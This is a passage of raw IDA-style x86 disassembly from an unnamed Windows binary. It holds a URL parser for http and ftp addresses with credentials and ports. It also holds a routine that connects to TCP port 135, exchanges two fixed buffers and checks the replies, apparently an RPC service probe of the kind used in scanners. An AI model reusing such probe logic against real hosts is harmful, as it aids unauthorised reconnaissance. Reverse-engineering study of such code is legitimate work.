--------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_420DA0: ; CODE XREF: ___:00401019j mov eax, [esp+4] mov dword_50DB24, eax mov eax, offset dword_50DB24 retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_420DC0: ; CODE XREF: ___:0040177Bj push ebx push ebp push esi mov esi, [esp+10h] push edi mov edi, dword_511AAC push esi call edi mov ebp, dword_511AA4 push 2 push 0 push esi mov ebx, eax call ebp push esi call edi push 0 push ebx push esi mov edi, eax call ebp add esp, 20h mov eax, edi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420E10 proc near ; CODE XREF: sub_401947j var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_420E10 push eax mov large fs:0, esp sub esp, 78h push ebx push esi mov esi, [esp+8Ch+arg_0] xor ebx, ebx cmp esi, ebx push edi jnz short loc_420E3F xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_420E3F: ; CODE XREF: sub_420E10+26j lea ecx, [esp+90h+var_84] call sub_40142E push esi lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], ebx call sub_4015E1 push offset asc_444C64 ; ":" lea eax, [esp+94h+var_54] push ebx push eax lea ecx, [esp+9Ch+var_84] call sub_4016B8 mov esi, [esp+90h+arg_4] push eax mov ecx, esi mov byte ptr [esp+94h+var_4], 1 call sub_401FDC lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jz short loc_420ECF push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jz short loc_420ECF lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_420ECF: ; CODE XREF: sub_420E10+92j ; sub_420E10+A2j push offset asc_4453E0 ; "/" lea ecx, [esp+94h+var_54] push 1 push ecx lea ecx, [esp+9Ch+var_84] call sub_4016B8 push 40h mov ecx, eax mov byte ptr [esp+94h+var_4], 2 call sub_401D34 lea ecx, [esp+90h+var_54] mov edi, eax mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp edi, ebx push offset asc_4453E0 ; "/" push 1 jz loc_42120C lea edx, [esp+98h+var_24] lea ecx, [esp+98h+var_84] push edx call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 3 call sub_4016B8 push offset asc_444C64 ; ":" lea edx, [esp+94h+var_54] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 4 call sub_4016B8 lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 5 call sub_401FDC lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], 4 call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 3 call sub_401226 lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_448F30 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_420FC9 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_420FC9: ; CODE XREF: sub_420E10+19Cj push offset asc_4453E0 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 6 call sub_4016B8 push offset asc_444C64 ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 7 call sub_4016B8 mov ecx, eax mov byte ptr [esp+90h+var_4], 8 call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 7 call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 6 call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp [esi+54h], ebx jnz short loc_421095 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_42107E mov dword ptr [esi+54h], 50h loc_42107E: ; CODE XREF: sub_420E10+265j push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_421095 mov dword ptr [esi+54h], 15h loc_421095: ; CODE XREF: sub_420E10+255j ; sub_420E10+27Cj push offset asc_4453E0 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 9 call sub_4016B8 push offset asc_444C64 ; ":" lea edx, [esp+94h+var_24] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ah call sub_4016B8 lea edi, [esi+2Ah] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Bh call sub_401FDC lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Ah call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 9 call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_448F30 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_42114E lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_42114E: ; CODE XREF: sub_420E10+321j push offset asc_4453E0 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ch call sub_4016B8 push offset asc_444C64 ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Dh call sub_4016B8 lea edi, [esi+3Fh] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Eh call sub_401FDC lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Dh call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 0Ch call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_448F30 mov ecx, edi call sub_4012EE test eax, eax jnz loc_421333 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_42120C: ; CODE XREF: sub_420E10+100j lea eax, [esp+98h+var_3C] lea ecx, [esp+98h+var_84] push eax call sub_4016B8 push offset asc_444C64 ; ":" lea ecx, [esp+94h+var_24] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Fh call sub_4016B8 lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 10h call sub_401FDC lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Fh call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_448F30 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_421293 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_421293: ; CODE XREF: sub_420E10+466j push offset asc_4453E0 ; "/" lea edx, [esp+94h+var_3C] push 1 push edx lea ecx, [esp+9Ch+var_84] call sub_4016B8 push offset asc_444C64 ; ":" lea ecx, [esp+94h+var_24] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 11h call sub_4016B8 mov ecx, eax mov byte ptr [esp+90h+var_4], 12h call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 11h call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp [esi+54h], ebx jnz short loc_421333 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_42131C mov dword ptr [esi+54h], 50h loc_42131C: ; CODE XREF: sub_420E10+503j push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_421333 mov dword ptr [esi+54h], 15h loc_421333: ; CODE XREF: sub_420E10+3DBj ; sub_420E10+4F3j ... push offset asc_4453E0 ; "/" lea ecx, [esp+94h+var_84] call sub_4013ED lea edx, [esp+90h+var_6C] push eax push edx lea ecx, [esp+98h+var_84] call sub_401E47 push offset asc_4453E0 ; "/" lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 13h call sub_4013ED push eax lea eax, [esp+94h+var_24] push eax lea ecx, [esp+98h+var_6C] call sub_401E47 push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 14h call sub_40202C lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_401226 push offset asc_4453E0 ; "/" lea ecx, [esp+94h+var_6C] call sub_4013ED lea ecx, [esp+90h+var_24] push eax push ecx lea ecx, [esp+98h+var_6C] call sub_401E47 push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 15h call sub_40202C lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_401226 add esi, 58h push offset asc_4453E0 ; "/" mov ecx, esi call sub_4015E1 lea edx, [esp+90h+var_6C] mov ecx, esi push edx call sub_4016C7 lea ecx, [esp+90h+var_6C] mov byte ptr [esp+90h+var_4], bl call sub_401226 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 loc_421419: ; CODE XREF: sub_420E10+2Aj ; sub_420E10+BAj ... mov ecx, [esp+90h+var_C] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 84h retn sub_420E10 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 190h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4215D0 proc near ; CODE XREF: sub_401AFFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov edx, [esp+arg_4] push ebx mov ebx, [esp+4+arg_C] push ebp sub edx, ebx xor eax, eax push esi push edi test edx, edx jle short loc_4215FB loc_4215E4: ; CODE XREF: sub_4215D0+29j mov esi, [esp+10h+arg_0] mov edi, [esp+10h+arg_8] add esi, eax mov ecx, ebx xor ebp, ebp repe cmpsb jz short loc_421602 inc eax cmp eax, edx jl short loc_4215E4 loc_4215FB: ; CODE XREF: sub_4215D0+12j pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_421602: ; CODE XREF: sub_4215D0+24j pop edi pop esi pop ebp mov al, 1 pop ebx retn sub_4215D0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_421620: ; CODE XREF: ___:004020B8j mov eax, 2010h call sub_437B30 mov eax, [esp+2018h] push ebp push esi dec eax push edi jz short loc_42166D dec eax jz short loc_421647 dec eax pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_421647: ; CODE XREF: ___:00421638j mov eax, [esp+2020h] push 1388h push eax call sub_402022 add esp, 8 neg al sbb eax, eax pop edi pop esi and eax, 3 pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: ___:00421635j push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jz loc_4217C9 cmp esi, 0FFFFFFFFh jz loc_4217C9 xor ecx, ecx push 87h mov [esp+10h], ecx mov word ptr [esp+10h], 2 mov [esp+14h], ecx mov [esp+18h], ecx mov [esp+1Ch], ecx nop call near ptr 71AB2B66h mov edx, [esp+2020h] mov [esp+0Eh], ax push edx call sub_40188E add esp, 4 mov [esp+10h], eax lea eax, [esp+0Ch] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jz loc_4217C2 mov ebp, dword_511CA0 push 0 push 48h push offset dword_444DA8 push esi call ebp cmp eax, 0FFFFFFFFh jz loc_4217C2 mov edi, dword_511CA4 push 0 lea ecx, [esp+20h] push 2000h push ecx push esi call edi cmp eax, 0FFFFFFFFh jz loc_4217C2 cmp byte ptr [esp+1Eh], 0Ch jnz loc_4217C2 push 0 push 18h push offset dword_444E1C push esi call ebp cmp eax, 0FFFFFFFFh jz loc_4217C2 push 0 lea edx, [esp+20h] push 2000h push edx push esi call edi mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_4217C2 cmp byte ptr [esp+1Eh], 2 jnz short loc_4217C2 push 10h push offset loc_444DF4 lea eax, [esp+24h] push edi push eax call sub_401AFF add esp, 10h test al, al jz short loc_421791 xor ecx, ecx cmp edi, 12Ch setnl cl inc ecx push esi mov edi, ecx nop call near ptr 71AB9639h mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_421791: ; CODE XREF: ___:0042176Ej push 10h push offset dword_444E08 lea edx, [esp+24h] push edi push edx call sub_401AFF add esp, 10h neg al sbb eax, eax push esi and eax, 3 mov edi, eax call near ptr 71AB9639h nop mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_4217C2: ; CODE XREF: ___:004216DBj ; ___:004216F6j ... push esi nop call near ptr 71AB9639h loc_4217C9: ; CODE XREF: ___:0042167Ej ; ___:00421687j pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_421850: ; CODE XREF: ___:00401A0Fj xor al, al retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_421870: ; CODE XREF: ___:00401168j ; ___:loc_4019F6j push esi mov esi, ecx call sub_4015CD test byte ptr [esp+8], 1 jz short loc_421888 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_421888: ; CODE XREF: ___:0042187Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4218A0 proc near ; CODE XREF: sub_4015CDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4218A0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F0D0 lea ecx, [esi+7Ah] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4218A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421970 proc near ; CODE XREF: sub_40120Dj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401311 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4010E6 sub_421970 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4219B0 proc near ; CODE XREF: sub_4018E8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401910 sub_4219B0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4219F0 proc near ; CODE XREF: sub_401825j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40197E mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4014E2 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_4019A6 mov edx, [esi+4] mov ecx, esi push edx call sub_401956 sub_4219F0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A60 proc near ; CODE XREF: sub_4014E2j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_40206D mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401EDD mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_421A60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421AA0 proc near ; CODE XREF: sub_40197Ej var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401EDD mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_421AA0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421AD0 proc near ; CODE XREF: sub_402185j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_40197E mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40190B sub_421AD0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B10 proc near ; CODE XREF: sub_40170Dj push esi mov esi, ecx call sub_4019FB mov eax, esi pop esi retn sub_421B10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B30 proc near ; CODE XREF: sub_40122Bj mov eax, [ecx] push eax call sub_4010F5 add esp, 4 retn sub_421B30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B50 proc near ; CODE XREF: sub_40107Dj push esi mov esi, ecx mov eax, [esi] push eax call sub_40206D mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_421B50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B80 proc near ; CODE XREF: sub_401811j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40201D neg al sbb eax, eax inc eax retn 4 sub_421B80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421BB0 proc near ; CODE XREF: sub_4016EAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401212 sub_421BB0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421BF0 proc near ; CODE XREF: sub_401253j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4013F7 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401465 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40100F mov edx, [esi+4] mov ecx, esi push edx call sub_4021DA sub_421BF0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C60 proc near ; CODE XREF: sub_401465j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_40110E mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401D89 mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_421C60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421CA0 proc near ; CODE XREF: sub_4013F7j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401D89 mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_421CA0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421CD0 proc near ; CODE XREF: sub_401325j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_4013F7 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401BC2 sub_421CD0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D10 proc near ; CODE XREF: sub_401B54j push esi mov esi, ecx call sub_4011A9 mov eax, esi pop esi retn sub_421D10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D30 proc near ; CODE XREF: sub_401055j mov eax, [ecx] push eax call sub_40108C add esp, 4 retn sub_421D30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D50 proc near ; CODE XREF: sub_401839j push esi mov esi, ecx mov eax, [esi] push eax call sub_40110E mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_421D50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D80 proc near ; CODE XREF: sub_4012BCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401D5C neg al sbb eax, eax inc eax retn 4 sub_421D80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421DB0 proc near ; CODE XREF: sub_4010E6j arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401EEC mov edi, eax push edi call sub_401B31 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40139D sub_421DB0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401B31 push edi mov [eax], ebx call sub_401B31 mov edi, [eax] push edi call sub_401B31 mov ecx, [eax] push ecx call sub_4015DC mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401172 add esp, 4 mov ecx, esi push eax call sub_401E5B mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401D98 mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421E50 proc near ; CODE XREF: sub_40190Bj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4010C8 mov edi, eax push edi call sub_401D07 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401910 sub_421E50 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401D07 push edi mov [eax], ebx call sub_401D07 mov edi, [eax] push edi call sub_401D07 mov ecx, [eax] push ecx call sub_40206D mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_4010F5 add esp, 4 mov ecx, esi push eax call sub_4017F3 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401EDD mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421EF0 proc near ; CODE XREF: sub_4019A6j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401811 test al, al jz short loc_421F4A loc_421F08: ; CODE XREF: sub_421EF0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4020D6 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401A2D ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401811 test al, al jnz short loc_421F08 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_421F4A: ; CODE XREF: sub_421EF0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_421EF0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421F80 proc near ; CODE XREF: sub_401910j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 24h call sub_401E0B sub_421F80 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_421F95 mov edi, esi loc_421F95: ; CODE XREF: ___:00421F91j push esi call sub_40206D mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_421FAA mov edi, esi loc_421FAA: ; CODE XREF: ___:00421FA6j push esi call sub_401D07 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421FD0 proc near ; CODE XREF: sub_401956j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401550 sub_421FD0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421FF0 proc near ; CODE XREF: sub_40206Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_421FF0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422010 proc near ; CODE XREF: sub_4010F5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_422010 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422030 proc near ; CODE XREF: sub_4019FBj mov eax, ecx retn sub_422030 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422050 proc near ; CODE XREF: sub_401EDDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401523 mov eax, esi pop esi retn 4 sub_422050 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422080 proc near ; CODE XREF: sub_40201Dj arg_0 = dword ptr 4 